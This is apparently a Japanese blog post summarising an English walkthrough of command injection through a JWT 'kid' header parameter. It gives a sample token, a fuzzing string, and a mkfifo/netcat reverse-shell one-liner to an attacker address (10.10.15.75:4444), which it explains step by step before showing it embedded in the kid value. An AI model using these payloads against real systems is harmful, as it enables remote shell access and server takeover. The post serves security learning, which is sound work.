「JWT Hacking | Command Injection with Insecure KID Parameter Processing」からJWTの脆弱性を学ぶ

ソース:

cyberstock.info

脆弱性:JWT, RCE

 

訳:

JWT の「KID」(キー ID) ヘッダー クレームはオプションであり、トークンの署名に使用されたキーを識別するために使用され。
これは、受信者がトークンの署名の検証にどの鍵を使用する必要があるかを迅速に判断できるため、トークンの署名に複数の鍵が使用できる場合に特に役立ち。
「KID」ヘッダーをチェックすることで、受信者はトークンの署名を検証するための関連キーを取得でき。

以下に、デフォルトとして KID キー値を含む JWT トークンの例を。
次のフェーズでは、KID を悪用し、シェルを挿入してコマンドを実行しようと。

 

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImRlZmF1bHQua2V5In0.eyJzdWIiOiIxMjM0NTY3ODkwIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.h885jqvfK4NNmsqo04gUmciO11ALe_3xj7jaGv-XdRQ

 

 

KID を含む JWT トーク

kid 値をランダムな文字でファジングして、脆弱性を示す可能性のあるエラーが発生するかどうかを確認し。

 

 

ここで、jwt.io で生成されたトークンをコピーし、リクエストとともに追加し。

 

 

応答セクションの msg bash/sh 構文エラーに気づくことができれば。

kidパラメータを以下に置き換え。

"kid": "\"'(){}[]&;/'(}{'£%^"

 

 

burp suite で同じことを繰り返し、応答を送受信します。

 

 

出力を分析すると、コマンド インジェクションの脆弱性が示されています、kidフィールド。

次に、リバース シェルを作成し、kid パラメータ値を置き換え。

 

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.15.75 4444>/tmp/

このコマンドは、LinuxUnixのシステムでリモートの攻撃者にシェルアクセスを提供するためのもので。

  1. rm /tmp/f: /tmp/f というファイルを削除します。もしファイルが存在しなければ、このコマンドはエラーを出しますが、スクリプトは次のコマンドを実行し。

  2. mkfifo /tmp/f: /tmp/f という名前の名前付きパイプ(FIFO)を作成し。名前付きパイプは、一方のプロセスが書き込み、もう一方のプロセスが読み出しを行うことで、2つのプロセス間でデータを受け渡すための仕組みで。

  3. cat /tmp/f | sh -i 2>&1: このコマンドは、/tmp/f からのデータを読み出し、それを sh -i というインタラクティブなシェルに渡します。2>&1 はエラーメッセージ(標準エラー出力)も標準出力と同じところにリダイレクトすることを指します。

  4. nc 10.10.15.75 4444 > /tmp/f: nc はnetcatというツールの略で、ネットワーク接続を作成やリスニングを行うためのものです。このコマンドは、10.10.15.75 というIPアドレス4444 というポートに接続し、その接続からのデータを /tmp/f に書き込むようにします。

全体として、このコマンドは攻撃者のマシン(10.10.15.75のIPを持つマシン)と被害者のマシン間でのシェルのアクセスを可能にするものです。攻撃者は、このコマンドを実行することで、被害者のマシンのシェルをリモートで操作することができ。

 

kidパラメータをリバースシェルに置き換え。

 

"kid": "default.key\";rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.15.75 4444 >/tmp/f;\""

 

 

JWT トークンを使用してリクエストを送信し。

 

 

攻撃側のマシンで netcat lestner を実行すると、リバース シェルが接続されていることがわかり。

 

 

 

ほなほな。